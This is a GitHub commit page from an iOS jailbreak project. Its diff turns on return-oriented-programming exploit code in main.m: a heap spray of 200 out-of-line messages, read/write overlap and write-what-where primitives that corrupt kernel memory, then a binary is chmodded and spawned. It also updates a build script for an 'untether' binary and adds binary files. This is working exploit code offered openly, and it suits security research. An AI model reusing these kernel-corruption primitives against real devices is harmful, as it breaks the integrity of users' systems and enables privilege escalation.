Skip to content

Commit 1c398a1

Browse files
qwertyoruiopqwertyoruiop
qwertyoruiop
authored and
qwertyoruiop
committed
this will install data/bootstrap.tar.gz to your device & perform kernel patches (not persistent DO NOT INSTALL CYDIA)
1 parent 33ebda6 commit 1c398a1

File tree

6 files changed

+264
-31
lines changed

6 files changed

+264
-31
lines changed

data/dyldmagic/main.m

+13-2
Original file line numberDiff line numberDiff line change
@@ -1659,11 +1659,22 @@ int main(int argc, const char * argv[]) {
16591659
RopCallFunction9Deref1(PUSH, @"___syscall", 1, SEG_VAR(fd2), SYS_close, 0, 0, 0, 0, 0, 0, 0, 0);
16601660
RopCallFunction9Deref1(PUSH, @"___syscall", 1, SEG_VAR(fd1), SYS_close, 0, 0, 0, 0, 0, 0, 0, 0);
16611661

1662-
/*
1662+
16631663
[dy setSlide:dy.slide+1]; // enter thumb
16641664
RopCallDerefFunctionPointer10Deref2(PUSH, SEG_VAR(_IOServiceClose), 0, SEG_VAR(gasgauge_), 1, SEG_VAR(gasgauge_), 0, 0, 0, 0, 0, 0, 0, 0, 0,0);
1665+
RopCallDerefFunctionPointer10Deref2(PUSH, SEG_VAR(_IOServiceWaitQuiet), 0, SEG_VAR(svc), 5, SEG_VAR(zero), 0, SEG_VAR(waitTime), 0, 0, 0, 0, 0, 0, 0,0);
16651666
[dy setSlide:dy.slide-1]; // exit thumb
1666-
*/
1667+
1668+
for (int i = 0; i < 200; i++) {
1669+
SendMsg(PUSH, i, oolmsg_template_512);
1670+
}
1671+
1672+
ReadWriteOverlap();
1673+
tmptoscratch();
1674+
WriteWhatWhere(PUSH, 0xFFFFFFFF, SEG_VAR(scratch[0x20+1024-0x58]));
1675+
ReadWriteScratchOverlap();
1676+
1677+
16671678

16681679
RopCallFunction3(PUSH, @"___syscall", SYS_chmod, SEG_VAR(spawnpath), 0755);
16691680
RopCallFunction7(PUSH, @"___syscall", SYS_posix_spawn, m_m_scratch, SEG_VAR(spawnpath), 0, 0, SEG_VAR(spawnp), 0);

data/tar

317 KB
Binary file not shown.

data/untether/make.sh

+1-1
Original file line numberDiff line numberDiff line change
@@ -1,2 +1,2 @@
1-
gcc untether64.m -o untether -arch arm64 patchfinder_64.c -isysroot "$(xcrun --show-sdk-path --sdk iphoneos)" -framework IOKit -framework Foundation -I/Users/qwertyoruiop/theos/include
1+
gcc untether64.m -o untether -arch arm64 patchfinder_64.c -isysroot "$(xcrun --show-sdk-path --sdk iphoneos)" -framework IOKit -framework Foundation -I/Users/qwertyoruiop/theos/include libarc.a -lz
22
ldid -Se.xml untether

data/untether/untether

17 KB
Binary file not shown.

0 commit comments

Comments
 (0)